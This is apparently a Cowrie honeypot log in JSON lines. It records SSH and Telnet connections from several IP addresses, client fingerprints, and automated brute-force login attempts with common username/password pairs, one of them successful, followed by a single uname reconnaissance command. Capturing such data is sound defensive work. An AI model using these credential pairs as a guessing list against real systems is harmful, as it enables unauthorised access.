{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:18.819440Z","src_ip":"45.156.87.147","session":"75d00450e71a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:21.141881Z","src_ip":"8.219.200.1","session":"3778c010a07b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38704,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a4523458ea2","protocol":"ssh","message":"New connection: 91.92.42.227:38704 (10.17.0.5:22) [session: 6a4523458ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:21.641127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:22.091840Z","src_ip":"91.92.42.227","session":"6a4523458ea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:22.094904Z","src_ip":"91.92.42.227","session":"6a4523458ea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51768,"dst_ip":"10.17.0.5","dst_port":22,"session":"007f89865dba","protocol":"ssh","message":"New connection: 45.156.87.147:51768 (10.17.0.5:22) [session: 007f89865dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:23.205317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:23.242744Z","src_ip":"45.156.87.147","session":"007f89865dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:23.288039Z","src_ip":"45.156.87.147","session":"007f89865dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"lucas","message":"login attempt [lucas/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:23.621065Z","src_ip":"45.156.87.147","session":"007f89865dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:24.708825Z","src_ip":"45.156.87.147","session":"007f89865dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456789","message":"login attempt [rdpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:24.992516Z","src_ip":"91.92.42.227","session":"6a4523458ea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:26.660095Z","src_ip":"91.92.42.227","session":"6a4523458ea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46486,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e4395742019","protocol":"ssh","message":"New connection: 91.92.42.227:46486 (10.17.0.5:22) [session: 1e4395742019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:28.509634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:29.034553Z","src_ip":"91.92.42.227","session":"1e4395742019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:29.037870Z","src_ip":"91.92.42.227","session":"1e4395742019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46640,"dst_ip":"10.17.0.5","dst_port":22,"session":"608608fec818","protocol":"ssh","message":"New connection: 45.156.87.147:46640 (10.17.0.5:22) [session: 608608fec818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:29.346158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:29.350064Z","src_ip":"45.156.87.147","session":"608608fec818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:29.435734Z","src_ip":"45.156.87.147","session":"608608fec818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1234","message":"login attempt [cloud/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:29.687258Z","src_ip":"45.156.87.147","session":"608608fec818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:30.868479Z","src_ip":"45.156.87.147","session":"608608fec818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":42268,"dst_ip":"10.17.0.5","dst_port":22,"session":"58b77cf9dd9d","protocol":"ssh","message":"New connection: 27.71.230.31:42268 (10.17.0.5:22) [session: 58b77cf9dd9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:31.719293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:31.723192Z","src_ip":"27.71.230.31","session":"58b77cf9dd9d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:31.795468Z","src_ip":"8.219.200.1","session":"3778c010a07b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:32.625896Z","src_ip":"8.219.200.1","session":"3778c010a07b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:32.628695Z","src_ip":"8.219.200.1","session":"3778c010a07b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:32.681024Z","src_ip":"27.71.230.31","session":"58b77cf9dd9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":47776,"dst_ip":"159.203.135.109","dst_port":23,"session":"06732d372b1e","protocol":"telnet","message":"New connection: 103.249.87.183:47776 (159.203.135.109:23) [session: 06732d372b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:32.704562Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:32.816227Z","src_ip":"91.92.42.227","session":"1e4395742019","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:32.877567Z","src_ip":"8.219.200.1","session":"3778c010a07b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.7","message":"Connection lost after 18.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:32.881671Z","src_ip":"8.219.200.1","session":"3778c010a07b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:34.224679Z","src_ip":"8.219.200.1","session":"9506afe75154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:34.643889Z","src_ip":"91.92.42.227","session":"1e4395742019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53840,"dst_ip":"10.17.0.5","dst_port":22,"session":"33d4475711f1","protocol":"ssh","message":"New connection: 91.92.42.227:53840 (10.17.0.5:22) [session: 33d4475711f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:35.028415Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admins","message":"login attempt [root/admins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:35.112988Z","src_ip":"27.71.230.31","session":"58b77cf9dd9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46656,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5dcf697f121","protocol":"ssh","message":"New connection: 45.156.87.147:46656 (10.17.0.5:22) [session: d5dcf697f121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:35.157859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:35.161741Z","src_ip":"45.156.87.147","session":"d5dcf697f121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:35.243049Z","src_ip":"45.156.87.147","session":"d5dcf697f121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1","message":"login attempt [claude/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:35.488693Z","src_ip":"45.156.87.147","session":"d5dcf697f121","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:36.092606Z","src_ip":"91.92.42.227","session":"33d4475711f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:36.096081Z","src_ip":"91.92.42.227","session":"33d4475711f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:36.574769Z","src_ip":"45.156.87.147","session":"d5dcf697f121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":46504,"dst_ip":"10.17.0.5","dst_port":22,"session":"888afe1ec2de","protocol":"ssh","message":"New connection: 8.219.200.1:46504 (10.17.0.5:22) [session: 888afe1ec2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:36.653931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:37.674665Z","src_ip":"8.219.200.1","session":"888afe1ec2de","protocol":"ssh"}
